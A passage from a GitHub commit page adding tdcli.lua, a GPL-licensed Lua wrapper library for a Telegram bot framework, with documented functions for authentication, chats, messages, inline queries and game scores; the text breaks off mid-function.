94 skills found · Page 2 of 4
arashstar1 / Bot LuaCode Issues 0 Pull requests 0 Pulse MaTaDoR/ 3233fdf V 5.7 MaTaDoR @MaTaDoRTeaMMaTaDoRTeaM committed on GitHub about 1 month ago 2 changed files 2,704 additions and 0 deletions cli/tg/tdcli.lua @@ -0,0 +1,2704 @@ +--[[ + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, USA. + +]]-- + +-- Vector example form is like this: {[0] = v} or {v1, v2, v3, [0] = v} +-- If false or true crashed your telegram-cli, try to change true to 1 and false to 0 + +-- Main Bot Framework +local M = {} + +-- @chat_id = user, group, channel, and broadcast +-- @group_id = normal group +-- @channel_id = channel and broadcast +local function getChatId(chat_id) + local chat = {} + local chat_id = tostring(chat_id) + + if chat_id:match('^-100') then + local channel_id = chat_id:gsub('-100', '') + chat = {ID = channel_id, type = 'channel'} + else + local group_id = chat_id:gsub('-', '') + chat = {ID = group_id, type = 'group'} + end + + return chat +end + +local function getInputFile(file) + if file:match('/') then + infile = {ID = "InputFileLocal", path_ = file} + elseif file:match('^%d+$') then + infile = {ID = "InputFileId", id_ = file} + else + infile = {ID = "InputFilePersistentId", persistent_id_ = file} + end + + return infile +end + +-- User can send bold, italic, and monospace text uses HTML or Markdown format. +local function getParseMode(parse_mode) + if parse_mode then + local mode = parse_mode:lower() + + if mode == 'markdown' or mode == 'md' then + P = {ID = "TextParseModeMarkdown"} + elseif mode == 'html' then + P = {ID = "TextParseModeHTML"} + end + end + + return P +end + +-- Returns current authorization state, offline request +local function getAuthState(dl_cb, cmd) + tdcli_function ({ + ID = "GetAuthState", + }, dl_cb, cmd) +end + +M.getAuthState = getAuthState + +-- Sets user's phone number and sends authentication code to the user. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- If phone number is not recognized or another error has happened, returns an error. Otherwise returns authStateWaitCode +-- @phone_number User's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function setAuthPhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "SetAuthPhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.setAuthPhoneNumber = setAuthPhoneNumber + +-- Resends authentication code to the user. +-- Works only when authGetState returns authStateWaitCode and next_code_type of result is not null. +-- Returns authStateWaitCode on success +local function resendAuthCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendAuthCode", + }, dl_cb, cmd) +end + +M.resendAuthCode = resendAuthCode + +-- Checks authentication code. +-- Works only when authGetState returns authStateWaitCode. +-- Returns authStateWaitPassword or authStateOk on success +-- @code Verification code from SMS, Telegram message, voice call or flash call +-- @first_name User first name, if user is yet not registered, 1-255 characters +-- @last_name Optional user last name, if user is yet not registered, 0-255 characters +local function checkAuthCode(code, first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthCode", + code_ = code, + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.checkAuthCode = checkAuthCode + +-- Checks password for correctness. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @password Password to check +local function checkAuthPassword(password, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthPassword", + password_ = password + }, dl_cb, cmd) +end + +M.checkAuthPassword = checkAuthPassword + +-- Requests to send password recovery code to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateWaitPassword on success +local function requestAuthPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestAuthPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestAuthPasswordRecovery = requestAuthPasswordRecovery + +-- Recovers password with recovery code sent to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @recovery_code Recovery code to check +local function recoverAuthPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverAuthPassword", + recovery_code_ = recovery_code + }, dl_cb, cmd) +end + +M.recoverAuthPassword = recoverAuthPassword + +-- Logs out user. +-- If force == false, begins to perform soft log out, returns authStateLoggingOut after completion. +-- If force == true then succeeds almost immediately without cleaning anything at the server, but returns error with code 401 and description "Unauthorized" +-- @force If true, just delete all local data. Session will remain in list of active sessions +local function resetAuth(force, dl_cb, cmd) + tdcli_function ({ + ID = "ResetAuth", + force_ = force or nil + }, dl_cb, cmd) +end + +M.resetAuth = resetAuth + +-- Check bot's authentication token to log in as a bot. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- Can be used instead of setAuthPhoneNumber and checkAuthCode to log in. +-- Returns authStateOk on success +-- @token Bot token +local function checkAuthBotToken(token, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthBotToken", + token_ = token + }, dl_cb, cmd) +end + +M.checkAuthBotToken = checkAuthBotToken + +-- Returns current state of two-step verification +local function getPasswordState(dl_cb, cmd) + tdcli_function ({ + ID = "GetPasswordState", + }, dl_cb, cmd) +end + +M.getPasswordState = getPasswordState + +-- Changes user password. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and password change will not be applied until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed +-- @old_password Old user password +-- @new_password New user password, may be empty to remove the password +-- @new_hint New password hint, can be empty +-- @set_recovery_email Pass True, if recovery email should be changed +-- @new_recovery_email New recovery email, may be empty +local function setPassword(old_password, new_password, new_hint, set_recovery_email, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetPassword", + old_password_ = old_password, + new_password_ = new_password, + new_hint_ = new_hint, + set_recovery_email_ = set_recovery_email, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setPassword = setPassword + +-- Returns set up recovery email. +-- This method can be used to verify a password provided by the user +-- @password Current user password +local function getRecoveryEmail(password, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecoveryEmail", + password_ = password + }, dl_cb, cmd) +end + +M.getRecoveryEmail = getRecoveryEmail + +-- Changes user recovery email. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and email will not be changed until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed. +-- If new_recovery_email coincides with the current set up email succeeds immediately and aborts all other requests waiting for email confirmation +-- @password Current user password +-- @new_recovery_email New recovery email +local function setRecoveryEmail(password, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetRecoveryEmail", + password_ = password, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setRecoveryEmail = setRecoveryEmail + +-- Requests to send password recovery code to email +local function requestPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestPasswordRecovery = requestPasswordRecovery + +-- Recovers password with recovery code sent to email +-- @recovery_code Recovery code to check +local function recoverPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverPassword", + recovery_code_ = tostring(recovery_code) + }, dl_cb, cmd) +end + +M.recoverPassword = recoverPassword + +-- Returns current logged in user +local function getMe(dl_cb, cmd) + tdcli_function ({ + ID = "GetMe", + }, dl_cb, cmd) +end + +M.getMe = getMe + +-- Returns information about a user by its identifier, offline request if current user is not a bot +-- @user_id User identifier +local function getUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUser = getUser + +-- Returns full information about a user by its identifier +-- @user_id User identifier +local function getUserFull(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserFull", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUserFull = getUserFull + +-- Returns information about a group by its identifier, offline request if current user is not a bot +-- @group_id Group identifier +local function getGroup(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroup", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroup = getGroup + +-- Returns full information about a group by its identifier +-- @group_id Group identifier +local function getGroupFull(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroupFull", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroupFull = getGroupFull + +-- Returns information about a channel by its identifier, offline request if current user is not a bot +-- @channel_id Channel identifier +local function getChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannel = getChannel + +-- Returns full information about a channel by its identifier, cached for at most 1 minute +-- @channel_id Channel identifier +local function getChannelFull(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannelFull", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannelFull = getChannelFull + +-- Returns information about a secret chat by its identifier, offline request +-- @secret_chat_id Secret chat identifier +local function getSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.getSecretChat = getSecretChat + +-- Returns information about a chat by its identifier, offline request if current user is not a bot +-- @chat_id Chat identifier +local function getChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChat = getChat + +-- Returns information about a message +-- @chat_id Identifier of the chat, message belongs to +-- @message_id Identifier of the message to get +local function getMessage(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessage", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.getMessage = getMessage + +-- Returns information about messages. +-- If message is not found, returns null on the corresponding position of the result +-- @chat_id Identifier of the chat, messages belongs to +-- @message_ids Identifiers of the messages to get +local function getMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.getMessages = getMessages + +-- Returns information about a file, offline request +-- @file_id Identifier of the file to get +local function getFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getFile = getFile + +-- Returns information about a file by its persistent id, offline request +-- @persistent_file_id Persistent identifier of the file to get +local function getFilePersistent(persistent_file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFilePersistent", + persistent_file_id_ = persistent_file_id + }, dl_cb, cmd) +end + +M.getFilePersistent = getFilePersistent + +-- Returns list of chats in the right order, chats are sorted by (order, chat_id) in decreasing order. +-- For example, to get list of chats from the beginning, the offset_order should be equal 2^63 - 1 +-- @offset_order Chat order to return chats from +-- @offset_chat_id Chat identifier to return chats from +-- @limit Maximum number of chats to be returned +local function getChats(offset_order, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "GetChats", + offset_order_ = offset_order or 9223372036854775807, + offset_chat_id_ = offset_chat_id or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChats = getChats + +-- Searches public chat by its username. +-- Currently only private and channel chats can be public. +-- Returns chat if found, otherwise some error is returned +-- @username Username to be resolved +local function searchPublicChat(username, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChat", + username_ = username + }, dl_cb, cmd) +end + +M.searchPublicChat = searchPublicChat + +-- Searches public chats by prefix of their username. +-- Currently only private and channel (including supergroup) chats can be public. +-- Returns meaningful number of results. +-- Returns nothing if length of the searched username prefix is less than 5. +-- Excludes private chats with contacts from the results +-- @username_prefix Prefix of the username to search +local function searchPublicChats(username_prefix, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChats", + username_prefix_ = username_prefix + }, dl_cb, cmd) +end + +M.searchPublicChats = searchPublicChats + +-- Searches for specified query in the title and username of known chats, offline request. +-- Returns chats in the order of them in the chat list +-- @query Query to search for, if query is empty, returns up to 20 recently found chats +-- @limit Maximum number of chats to be returned +local function searchChats(query, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "SearchChats", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchChats = searchChats + +-- Adds chat to the list of recently found chats. +-- The chat is added to the beginning of the list. +-- If the chat is already in the list, at first it is removed from the list +-- @chat_id Identifier of the chat to add +local function addRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.addRecentlyFoundChat = addRecentlyFoundChat + +-- Deletes chat from the list of recently found chats +-- @chat_id Identifier of the chat to delete +local function deleteRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChat = deleteRecentlyFoundChat + +-- Clears list of recently found chats +local function deleteRecentlyFoundChats(dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChats", + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChats = deleteRecentlyFoundChats + +-- Returns list of common chats with an other given user. +-- Chats are sorted by their type and creation date +-- @user_id User identifier +-- @offset_chat_id Chat identifier to return chats from, use 0 for the first request +-- @limit Maximum number of chats to be returned, up to 100 +local function getCommonChats(user_id, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetCommonChats", + user_id_ = user_id, + offset_chat_id_ = offset_chat_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getCommonChats = getCommonChats + +-- Returns messages in a chat. +-- Automatically calls openChat. +-- Returns result in reverse chronological order, i.e. in order of decreasing message.message_id +-- @chat_id Chat identifier +-- @from_message_id Identifier of the message near which we need a history, you can use 0 to get results from the beginning, i.e. from oldest to newest +-- @offset Specify 0 to get results exactly from from_message_id or negative offset to get specified message and some newer messages +-- @limit Maximum number of messages to be returned, should be positive and can't be greater than 100. +-- If offset is negative, limit must be greater than -offset. +-- There may be less than limit messages returned even the end of the history is not reached +local function getChatHistory(chat_id, from_message_id, offset, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetChatHistory", + chat_id_ = chat_id, + from_message_id_ = from_message_id, + offset_ = offset or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChatHistory = getChatHistory + +-- Deletes all messages in the chat. +-- Can't be used for channel chats +-- @chat_id Chat identifier +-- @remove_from_chat_list Pass true, if chat should be removed from the chat list +local function deleteChatHistory(chat_id, remove_from_chat_list, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatHistory", + chat_id_ = chat_id, + remove_from_chat_list_ = remove_from_chat_list + }, dl_cb, cmd) +end + +M.deleteChatHistory = deleteChatHistory + +-- Searches for messages with given words in the chat. +-- Returns result in reverse chronological order, i. e. in order of decreasimg message_id. +-- Doesn't work in secret chats +-- @chat_id Chat identifier to search in +-- @query Query to search for +-- @from_message_id Identifier of the message from which we need a history, you can use 0 to get results from beginning +-- @limit Maximum number of messages to be returned, can't be greater than 100 +-- @filter Filter for content of searched messages +-- filter = Empty|Animation|Audio|Document|Photo|Video|Voice|PhotoAndVideo|Url|ChatPhoto +local function searchChatMessages(chat_id, query, from_message_id, limit, filter, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchChatMessages", + chat_id_ = chat_id, + query_ = query, + from_message_id_ = from_message_id, + limit_ = limit, + filter_ = { + ID = 'SearchMessagesFilter' .. filter + }, + }, dl_cb, cmd) +end + +M.searchChatMessages = searchChatMessages + +-- Searches for messages in all chats except secret chats. Returns result in reverse chronological order, i. e. in order of decreasing (date, chat_id, message_id) +-- @query Query to search for +-- @offset_date Date of the message to search from, you can use 0 or any date in the future to get results from the beginning +-- @offset_chat_id Chat identifier of the last found message or 0 for the first request +-- @offset_message_id Message identifier of the last found message or 0 for the first request +-- @limit Maximum number of messages to be returned, can't be greater than 100 +local function searchMessages(query, offset_date, offset_chat_id, offset_message_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchMessages", + query_ = query, + offset_date_ = offset_date, + offset_chat_id_ = offset_chat_id, + offset_message_id_ = offset_message_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchMessages = searchMessages + +-- Invites bot to a chat (if it is not in the chat) and send /start to it. +-- Bot can't be invited to a private chat other than chat with the bot. +-- Bots can't be invited to broadcast channel chats and secret chats. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message +-- @bot_user_id Identifier of the bot +-- @chat_id Identifier of the chat +-- @parameter Hidden parameter sent to bot for deep linking (https://api.telegram.org/bots#deep-linking) +-- parameter=start|startgroup or custom as defined by bot creator +local function sendBotStartMessage(bot_user_id, chat_id, parameter, dl_cb, cmd) + tdcli_function ({ + ID = "SendBotStartMessage", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + parameter_ = parameter + }, dl_cb, cmd) +end + +M.sendBotStartMessage = sendBotStartMessage + +-- Sends result of the inline query as a message. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message. +-- Always clears chat draft message +-- @chat_id Chat to send message +-- @reply_to_message_id Identifier of a message to reply to or 0 +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @query_id Identifier of the inline query +-- @result_id Identifier of the inline result +local function sendInlineQueryResultMessage(chat_id, reply_to_message_id, disable_notification, from_background, query_id, result_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendInlineQueryResultMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + query_id_ = query_id, + result_id_ = result_id + }, dl_cb, cmd) +end + +M.sendInlineQueryResultMessage = sendInlineQueryResultMessage + +-- Forwards previously sent messages. +-- Returns forwarded messages in the same order as message identifiers passed in message_ids. +-- If message can't be forwarded, null will be returned instead of the message. +-- UpdateChatTopMessage will not be sent, so returned messages should be used to update chat top message +-- @chat_id Identifier of a chat to forward messages +-- @from_chat_id Identifier of a chat to forward from +-- @message_ids Identifiers of messages to forward +-- @disable_notification Pass true, to disable notification about the message, doesn't works if messages are forwarded to secret chat +-- @from_background Pass true, if the message is sent from background +local function forwardMessages(chat_id, from_chat_id, message_ids, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "ForwardMessages", + chat_id_ = chat_id, + from_chat_id_ = from_chat_id, + message_ids_ = message_ids, -- vector + disable_notification_ = disable_notification, + from_background_ = 1 + }, dl_cb, cmd) +end + +M.forwardMessages = forwardMessages + +-- Changes current ttl setting in a secret chat and sends corresponding message +-- @chat_id Chat identifier +-- @ttl New value of ttl in seconds +local function sendChatSetTtlMessage(chat_id, ttl, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatSetTtlMessage", + chat_id_ = chat_id, + ttl_ = ttl + }, dl_cb, cmd) +end + +M.sendChatSetTtlMessage = sendChatSetTtlMessage + +-- Deletes messages. +-- UpdateDeleteMessages will not be sent for messages deleted through that function +-- @chat_id Chat identifier +-- @message_ids Identifiers of messages to delete +local function deleteMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.deleteMessages = deleteMessages + +-- Deletes all messages in the chat sent by the specified user. +-- Works only in supergroup channel chats, needs appropriate privileges +-- @chat_id Chat identifier +-- @user_id User identifier +local function deleteMessagesFromUser(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessagesFromUser", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.deleteMessagesFromUser = deleteMessagesFromUser + +-- Edits text of text or game message. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editMessageText(chat_id, message_id, reply_markup, text, disable_web_page_preview, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "EditMessageText", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, cmd) +end + +M.editMessageText = editMessageText + +-- Edits message content caption. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @caption New message content caption, 0-200 characters +local function editMessageCaption(chat_id, message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditMessageCaption", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageCaption = editMessageCaption + +-- Bots only. +-- Edits message reply markup. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup New message reply markup +local function editMessageReplyMarkup(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageReplyMarkup = editMessageReplyMarkup + +-- Bots only. +-- Edits text of an inline text or game message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editInlineMessageText(inline_message_id, reply_markup, text, disable_web_page_preview, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageText", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {} + }, + }, dl_cb, cmd) +end + +M.editInlineMessageText = editInlineMessageText + +-- Bots only. +-- Edits caption of an inline message content sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @caption New message content caption, 0-200 characters +local function editInlineMessageCaption(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editInlineMessageCaption = editInlineMessageCaption + +-- Bots only. +-- Edits reply markup of an inline message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +local function editInlineMessageReplyMarkup(inline_message_id, reply_markup, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageReplyMarkup", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup -- reply_markup:ReplyMarkup + }, dl_cb, cmd) +end + +M.editInlineMessageReplyMarkup = editInlineMessageReplyMarkup + + +-- Sends inline query to a bot and returns its results. +-- Unavailable for bots +-- @bot_user_id Identifier of the bot send query to +-- @chat_id Identifier of the chat, where the query is sent +-- @user_location User location, only if needed +-- @query Text of the query +-- @offset Offset of the first entry to return +local function getInlineQueryResults(bot_user_id, chat_id, latitude, longitude, query, offset, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineQueryResults", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + user_location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + query_ = query, + offset_ = offset + }, dl_cb, cmd) +end + +M.getInlineQueryResults = getInlineQueryResults + +-- Bots only. +-- Sets result of the inline query +-- @inline_query_id Identifier of the inline query +-- @is_personal Does result of the query can be cached only for specified user +-- @results Results of the query +-- @cache_time Allowed time to cache results of the query in seconds +-- @next_offset Offset for the next inline query, pass empty string if there is no more results +-- @switch_pm_text If non-empty, this text should be shown on the button, which opens private chat with the bot and sends bot start message with parameter switch_pm_parameter +-- @switch_pm_parameter Parameter for the bot start message +local function answerInlineQuery(inline_query_id, is_personal, cache_time, next_offset, switch_pm_text, switch_pm_parameter, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerInlineQuery", + inline_query_id_ = inline_query_id, + is_personal_ = is_personal, + results_ = results, --vector<InputInlineQueryResult>, + cache_time_ = cache_time, + next_offset_ = next_offset, + switch_pm_text_ = switch_pm_text, + switch_pm_parameter_ = switch_pm_parameter + }, dl_cb, cmd) +end + +M.answerInlineQuery = answerInlineQuery + +-- Sends callback query to a bot and returns answer to it. +-- Unavailable for bots +-- @chat_id Identifier of the chat with a message +-- @message_id Identifier of the message, from which the query is originated +-- @payload Query payload +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url URL to be open +local function getCallbackQueryAnswer(chat_id, message_id, text, show_alert, url, dl_cb, cmd) + tdcli_function ({ + ID = "GetCallbackQueryAnswer", + chat_id_ = chat_id, + message_id_ = message_id, + payload_ = { + ID = "CallbackQueryAnswer", + text_ = text, + show_alert_ = show_alert, + url_ = url + }, + }, dl_cb, cmd) +end + +M.getCallbackQueryAnswer = getCallbackQueryAnswer + +-- Bots only. +-- Sets result of the callback query +-- @callback_query_id Identifier of the callback query +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url Url to be opened +-- @cache_time Allowed time to cache result of the query in seconds +local function answerCallbackQuery(callback_query_id, text, show_alert, url, cache_time, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerCallbackQuery", + callback_query_id_ = callback_query_id, + text_ = text, + show_alert_ = show_alert, + url_ = url, + cache_time_ = cache_time + }, dl_cb, cmd) +end + +M.answerCallbackQuery = answerCallbackQuery + +-- Bots only. +-- Updates game score of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setGameScore(chat_id, message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetGameScore", + chat_id_ = chat_id, + message_id_ = message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setGameScore = setGameScore + +-- Bots only. +-- Updates game score of the specified user in the game +-- @inline_message_id Inline message identifier +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setInlineGameScore(inline_message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetInlineGameScore", + inline_message_id_ = inline_message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setInlineGameScore = setInlineGameScore + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @user_id User identifie +local function getGameHighScores(chat_id, message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGameHighScores", + chat_id_ = chat_id, + message_id_ = message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getGameHighScores = getGameHighScores + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @inline_message_id Inline message identifier +-- @user_id User identifier +local function getInlineGameHighScores(inline_message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineGameHighScores", + inline_message_id_ = inline_message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getInlineGameHighScores = getInlineGameHighScores + +-- Deletes default reply markup from chat. +-- This method needs to be called after one-time keyboard or ForceReply reply markup has been used. +-- UpdateChatReplyMarkup will be send if reply markup will be changed +-- @chat_id Chat identifier +-- @message_id Message identifier of used keyboard +local function deleteChatReplyMarkup(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatReplyMarkup", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.deleteChatReplyMarkup = deleteChatReplyMarkup + +-- Sends notification about user activity in a chat +-- @chat_id Chat identifier +-- @action Action description +-- action = Typing|Cancel|RecordVideo|UploadVideo|RecordVoice|UploadVoice|UploadPhoto|UploadDocument|GeoLocation|ChooseContact|StartPlayGame +local function sendChatAction(chat_id, action, progress, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatAction", + chat_id_ = chat_id, + action_ = { + ID = "SendMessage" .. action .. "Action", + progress_ = progress or 100 + } + }, dl_cb, cmd) +end + +M.sendChatAction = sendChatAction + +-- Sends notification about screenshot taken in a chat. +-- Works only in secret chats +-- @chat_id Chat identifier +local function sendChatScreenshotTakenNotification(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatScreenshotTakenNotification", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.sendChatScreenshotTakenNotification = sendChatScreenshotTakenNotification + +-- Chat is opened by the user. +-- Many useful activities depends on chat being opened or closed. For example, in channels all updates are received only for opened chats +-- @chat_id Chat identifier +local function openChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID 